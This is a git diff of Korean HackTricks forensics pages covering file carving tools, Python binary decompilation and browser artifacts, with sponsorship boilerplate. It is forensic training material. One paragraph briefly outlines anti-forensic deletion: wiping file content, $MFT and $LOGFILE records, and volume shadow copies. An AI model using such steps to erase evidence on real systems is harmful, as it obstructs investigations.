+데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일을 찾는 대신 흥미로운 정보 조각을 찾습니다**.\
+예를 들어, 기록된 URL을 포함하는 완전한 파일을 찾는 대신 이 기술은 URL을 검색합니다.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@@ -223,13 +233,28 @@ FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사
### 안전한 삭제
-물론 파일을 **"안전하게" 삭제하고 그에 대한 로그 일부를 제거하는 방법**이 있습니다. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 덮어쓰고, 그런 다음 **$MFT** 및 **$LOGFILE**에 대한 파일에 대한 로그를 제거하고 **볼륨 그림자 사본**을 제거할 수 있습니다.\
-이 작업을 수행해도 파일의 존재가 여전히 로깅된 부분이 있을 수 있음을 알 수 있으며, 이는 포렌식 전문가의 업무 중 일부입니다.
+명백히, **파일과 그에 대한 로그의 일부를 "안전하게" 삭제하는 방법이 있습니다**. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 덮어쓰고, **$MFT** 및 **$LOGFILE**에서 파일에 대한 **로그**를 제거하고, **볼륨 섀도 복사본**을 제거할 수 있습니다.\
+이 작업을 수행하더라도 **파일의 존재가 여전히 기록된 다른 부분이 있을 수 있습니다**. 이는 사실이며, 포렌식 전문가의 작업 중 일부는 이를 찾는 것입니다.
-## 참고 자료
+## 참고 문헌
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
-* **iHackLabs Certified Digital Forensics Windows**
+* **iHackLabs 인증 디지털 포렌식 Windows**
+
+{% hint style="success" %}
+AWS 해킹 배우고 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우고 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+HackTricks 지원하기
+
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+
+
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index 10a61ea59..55346fc46 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -1,38 +1,39 @@
-# 파일/데이터 Carving & 복구 도구
+# File/Data Carving & Recovery Tools
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Try Hard Security Group**
-
+
{% embed url="https://discord.gg/tryhardsecurity" %}
***
-## Carving & 복구 도구
+## Carving & Recovery tools
-더 많은 도구: [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
-이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하고 설치한 후 파일을 처리하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 다른 종류의 이미지를 지원하도록 구축되었지만 간단한 파일은 지원하지 않습니다.
+포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
### Binwalk
-**Binwalk**은 이진 파일을 분석하여 포함된 콘텐츠를 찾는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다.
+**Binwalk**는 임베디드 콘텐츠를 찾기 위해 이진 파일을 분석하는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다.
**유용한 명령어**:
```bash
@@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
-또 다른 숨겨진 파일을 찾는 데 사용되는 일반적인 도구는 **foremost**입니다. Foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 해당 파일을 주석 처리하십시오. 아무것도 주석 처리하지 않으면 foremost는 기본 구성된 파일 유형을 검색합니다.
+또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@@ -51,73 +52,76 @@ foremost -v -i file.img -o output
```
### **Scalpel**
-**Scalpel**은 파일 내에 포함된 파일을 찾아 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우, 추출하려는 파일 유형을 구성 파일(_/etc/scalpel/scalpel.conf_)에서 주석 처리 해제해야 합니다.
+**Scalpel**은 **파일에 포함된 파일**을 찾고 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우, 추출하려는 파일 유형을 구성 파일(_/etc/scalpel/scalpel.conf_)에서 주석을 제거해야 합니다.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
-이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
+이 도구는 칼리 안에 포함되어 있지만, 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
-이 도구는 이미지를 스캔하고 그 안에 있는 **pcaps를 추출**하며, **네트워크 정보(URL, 도메인, IP, MAC, 이메일)** 및 **더 많은 파일**을 추출할 수 있습니다. 수행해야 할 작업은 다음과 같습니다:
+이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
```
bulk_extractor memory.img -o out_folder
```
+모든 정보를 탐색하세요 (비밀번호?), 패킷을 분석하세요 (읽기: [**Pcaps 분석**](../pcap-inspection/)), 이상한 도메인을 검색하세요 (악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
+
### PhotoRec
-[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk_Download)를 찾을 수 있습니다.
+[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)에서 찾을 수 있습니다.
-GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec가 검색할 **파일 유형**을 선택할 수 있습니다.
+GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
![](<../../../.gitbook/assets/image (524).png>)
### binvis
-[코드](https://code.google.com/archive/p/binvis/) 및 [웹 페이지 도구](https://binvis.io/#/)를 확인하세요.
+[코드](https://code.google.com/archive/p/binvis/)와 [웹 페이지 도구](https://binvis.io/#/)를 확인하세요.
#### BinVis의 기능
-- 시각적이고 활성 **구조 뷰어**
-- 서로 다른 초점 지점에 대한 여러 플롯
-- 샘플 일부에 초점을 맞춤
-- PE 또는 ELF 실행 파일에서 **문자열 및 리소스** 확인
-- 파일의 암호 해독을 위한 **패턴** 획득
-- 패커 또는 인코더 알고리즘 **발견**
-- 패턴에 의한 스테가노그래피 **식별**
-- **시각적** 이진 차이
+* 시각적이고 능동적인 **구조 뷰어**
+* 다양한 초점에 대한 여러 플롯
+* 샘플의 일부에 집중
+* PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
+* 파일에 대한 암호 분석 패턴 얻기
+* 패커 또는 인코더 알고리즘 **발견**
+* 패턴으로 스테가노그래피 **식별**
+* **시각적** 바이너리 차이 비교
-BinVis는 블랙박싱 시나리오에서 **알 수 없는 대상에 익숙해지는 데 좋은 시작점**입니다.
+BinVis는 블랙박스 시나리오에서 **알 수 없는 대상에 익숙해지기 위한 훌륭한 출발점**입니다.
## 특정 데이터 카빙 도구
### FindAES
-AES 키를 찾기 위해 키 스케줄을 검색하여 AES 키를 찾습니다. TrueCrypt 및 BitLocker에서 사용되는 것과 같이 128, 192 및 256 비트 키를 찾을 수 있습니다.
+키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 128, 192 및 256 비트 키를 찾을 수 있습니다.
[여기에서 다운로드](https://sourceforge.net/projects/findaes/).
## 보조 도구
-터미널에서 이미지를 보려면 [**viu**](https://github.com/atanunq/viu)를 사용할 수 있습니다.\
-pdf를 텍스트로 변환하고 읽기 위해 리눅스 명령 줄 도구 **pdftotext**를 사용할 수 있습니다.
+[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
+리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
**Try Hard Security Group**
-
+
{% embed url="https://discord.gg/tryhardsecurity" %}
+{% hint style="success" %}
+AWS 해킹 배우고 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우고 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 AWS 해킹을 배우세요
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-- 귀하의 **회사를 HackTricks에서 광고**하거나 **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
-- 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
-- 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
-- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 귀하의 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하세요!
+* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index a537e2cce..864625a60 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -1,28 +1,29 @@
-# 컴파일된 파이썬 이진 파일 (exe, elf)의 디컴파일 - .pyc에서 검색
+# 컴파일된 파이썬 바이너리( exe, elf) 디컴파일 - .pyc에서 가져오기
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)에서 **제로부터 영웅이 되는 AWS 해킹 배우기**
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
-**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 **최대 $100,000**의 바운티를 벌어보세요!
+**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
-## 컴파일된 이진 파일에서 .pyc로
+## 컴파일된 바이너리에서 .pyc로
-**ELF**로 컴파일된 이진 파일에서는 다음을 사용하여 **.pyc를 얻을 수 있습니다**:
+**ELF** 컴파일된 바이너리에서 **.pyc를 가져올 수 있습니다**:
```bash
pyi-archive_viewer
# The list of python modules will be given here:
@@ -41,38 +42,38 @@ pyi-archive_viewer
? X binary_name
to filename? /tmp/binary.pyc
```
-**파이썬 exe 이진 파일**에서는 다음을 실행하여 **.pyc 파일을 얻을 수 있습니다:**
+In a **python exe binary**로 컴파일된 경우, 다음을 실행하여 **.pyc**를 얻을 수 있습니다:
```bash
python pyinstxtractor.py executable.exe
```
-## .pyc에서 python 코드로
+## From .pyc to python code
-**.pyc** 데이터("컴파일된" 파이썬)에서는 **원본** **파이썬** **코드**를 **추출**하기 시작해야합니다:
+**.pyc** 데이터("컴파일된" 파이썬)에 대해서는 **원본** **파이썬** **코드**를 **추출**하려고 시도해야 합니다:
```bash
uncompyle6 binary.pyc > decompiled.py
```
-**확실하게** 이진 파일이 "**.pyc**" **확장자**를 가지고 있는지 확인하십시오 (그렇지 않으면, uncompyle6가 작동하지 않을 것입니다)
+**확실히** 이 바이너리가 "**.pyc**" **확장자**를 가지고 있는지 확인하세요 (그렇지 않으면, uncompyle6가 작동하지 않습니다)
-**uncompyle6**를 실행하는 동안 다음과 같은 **오류**를 발견할 수 있습니다:
+**uncompyle6**를 실행하는 동안 **다음 오류**를 발견할 수 있습니다:
### 오류: 알 수 없는 매직 넘버 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
-**이를 해결하려면 생성된 파일의 시작 부분에 올바른 매직 넘버를 추가해야합니다.**
+이 문제를 해결하려면 생성된 파일의 시작 부분에 **올바른 매직 넘버**를 **추가해야** 합니다.
-**매직 넘버는 파이썬 버전에 따라 다릅니다.** **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야합니다:
+**매직 넘버는 파이썬 버전에 따라 다릅니다**, **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야 합니다:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
-**마법 숫자**는 이 경우 파이썬 3.8의 **`0x550d0d0a`**입니다. 그런 다음, 이 오류를 수정하려면 **.pyc 파일**의 **처음**에 다음 바이트를 **추가**해야 합니다: `0x0d550a0d000000000000000000000000`
+이 경우 python3.8의 **magic number**는 **`0x550d0d0a`**입니다. 그러므로 이 오류를 수정하려면 **.pyc 파일**의 **시작 부분**에 다음 바이트를 **추가**해야 합니다: `0x0d550a0d000000000000000000000000`
-**마법 헤더**를 추가한 후에는 **오류가 수정**될 것입니다.
+**한 번** 그 magic header를 **추가**하면, **오류가 수정되어야 합니다.**
-다음은 올바르게 추가된 **.pyc python3.8 마법 헤더**의 모습입니다:
+올바르게 추가된 **.pyc python3.8 magic header**는 다음과 같이 보일 것입니다:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -80,23 +81,23 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
-### 오류: 일반 오류의 디컴파일
+### Error: Decompiling generic errors
-`class 'AssertionError'>; co_code should be one of the types (, , , ); is type `와 같은 **다른 오류**가 발생할 수 있습니다.
+**기타 오류**: `class 'AssertionError'>; co_code는 (, , , ) 중 하나여야 합니다; 타입은 입니다`가 나타날 수 있습니다.
-이는 아마도 **매직 넘버를 올바르게 추가하지 않았거나 올바른 매직 넘버를 사용하지 않았다는 것**을 의미합니다. 따라서 **올바른 것을 사용했는지 확인**하십시오 (또는 새로운 것을 시도하십시오).
+이는 아마도 **매직 넘버를 올바르게 추가하지 않았거나** **올바른 매직 넘버를 사용하지 않았기 때문**일 수 있으므로 **올바른 것을 사용하고 있는지 확인하세요** (또는 새로운 것을 시도해 보세요).
-이전 오류 문서를 확인하십시오.
+이전 오류 문서를 확인하세요.
-## 자동 도구
+## Automatic Tool
-[**python-exe-unpacker 도구**](https://github.com/countercept/python-exe-unpacker)는 py2exe 및 pyinstaller로 작성된 실행 파일을 언패킹하고 디컴파일하는 데 도움이 되도록 설계된 여러 커뮤니티에서 제공하는 도구의 조합으로 작동합니다. 이는 실행 파일이 Python 기반인지 식별하기 위한 YARA 규칙을 포함하고 생성 도구를 확인합니다.
+[**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker)는 연구자들이 py2exe 및 pyinstaller로 작성된 Python 실행 파일을 언팩하고 디컴파일하는 데 도움을 주기 위해 설계된 여러 커뮤니티 도구의 조합으로 작동합니다. 이 도구는 실행 파일이 Python 기반인지 식별하고 생성 도구를 확인하기 위한 YARA 규칙을 포함합니다.
-### ImportError: 파일 이름: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc'이(가) 존재하지 않음
+### ImportError: 파일 이름: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc'가 존재하지 않습니다
-일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor를 사용하여 언패킹 프로세스 중에 발생하는 불완전한 Python 바이트 코드 파일**로 인해, 이후 **uncompyle6에서 Python 바이트 코드 버전 번호가 누락되어 인식되지 않는** 것입니다. 이를 해결하기 위해 필요한 Python 바이트 코드 버전 번호를 추가하는 prepend 옵션이 추가되었으며, 이는 디컴파일 프로세스를 용이하게 합니다.
+일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor로 언팩하는 과정에서 발생한 불완전한 Python 바이트코드 파일**로, 이로 인해 **Python 바이트코드 버전 번호가 누락되어 uncompyle6에서 인식되지 않는 경우**입니다. 이를 해결하기 위해 필요한 Python 바이트코드 버전 번호를 추가하는 prepend 옵션이 추가되어 디컴파일 과정을 용이하게 합니다.
-문제의 예시:
+문제의 예:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
@@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
-## Python 어셈블리 분석
+## Analyzing python assembly
-이전 단계를 따라서 파이썬 "원본" 코드를 추출할 수 없었다면 어셈블리를 추출해 볼 수 있습니다(하지만 그렇게 구체적이지 않으므로 다시 원본 코드를 추출해 보세요). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 분해하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). 만약 _.pyc_가 python2에서 생성된 것이라면, python2를 사용하세요:
+이전 단계에 따라 python "원본" 코드를 추출할 수 없었다면, **어셈블리**를 **추출**해 보십시오(하지만 **매우 설명적이지 않으므로**, **다시** 원본 코드를 **추출**해 보십시오). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 **디스어셈블**하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). _.pyc_가 python2에서 온 것이라면 python2를 사용하십시오:
```bash
>>> import dis
>>> import marshal
@@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
-## 파이썬을 실행 파일로 변환하기
+## Python to Executable
-먼저, 페이로드가 py2exe 및 PyInstaller에서 컴파일될 수 있는 방법을 보여드리겠습니다.
+시작하기 위해, 우리는 payload가 py2exe와 PyInstaller에서 어떻게 컴파일될 수 있는지 보여줄 것입니다.
-### py2exe를 사용하여 페이로드 생성하기:
+### py2exe를 사용하여 payload를 생성하는 방법:
1. [http://www.py2exe.org/](http://www.py2exe.org)에서 py2exe 패키지를 설치합니다.
-2. 페이로드를 생성하기 위해 (이 경우 hello.py로 이름을 지정할 것입니다), Figure 1에 있는 스크립트와 같은 스크립트를 사용합니다. 값이 1인 "bundle\_files" 옵션은 Python 인터프리터를 포함한 모든 것을 하나의 exe로 번들링합니다.
-3. 스크립트가 준비되면 "python setup.py py2exe" 명령을 실행합니다. 이렇게 하면 Figure 2와 같이 실행 파일이 생성됩니다.
+2. payload를 위해 (이 경우 hello.py라고 이름을 붙일 것입니다), 그림 1과 같은 스크립트를 사용합니다. 값이 1인 “bundle\_files” 옵션은 Python 인터프리터를 포함하여 모든 것을 하나의 exe로 묶습니다.
+3. 스크립트가 준비되면 “python setup.py py2exe” 명령을 실행합니다. 이렇게 하면 그림 2와 같이 실행 파일이 생성됩니다.
```python
from distutils.core import setup
import py2exe, sys, os
@@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
-### PyInstaller를 사용하여 페이로드를 생성하는 방법:
+### PyInstaller를 사용하여 페이로드 생성하기:
1. pip를 사용하여 PyInstaller를 설치합니다 (pip install pyinstaller).
-2. 그 후에는 "pyinstaller --onefile hello.py" 명령을 실행합니다 ('hello.py'가 페이로드임을 상기해 주세요). 이 명령은 모든 것을 하나의 실행 파일로 번들링합니다.
+2. 그 후, “pyinstaller –onefile hello.py” 명령을 실행합니다 (여기서 ‘hello.py’는 우리의 페이로드입니다). 이렇게 하면 모든 것이 하나의 실행 파일로 묶입니다.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
-## 참고 자료
+## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
-**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!
+**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index 52672b4dd..c9ce5bb5d 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,77 +1,79 @@
# 브라우저 아티팩트
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
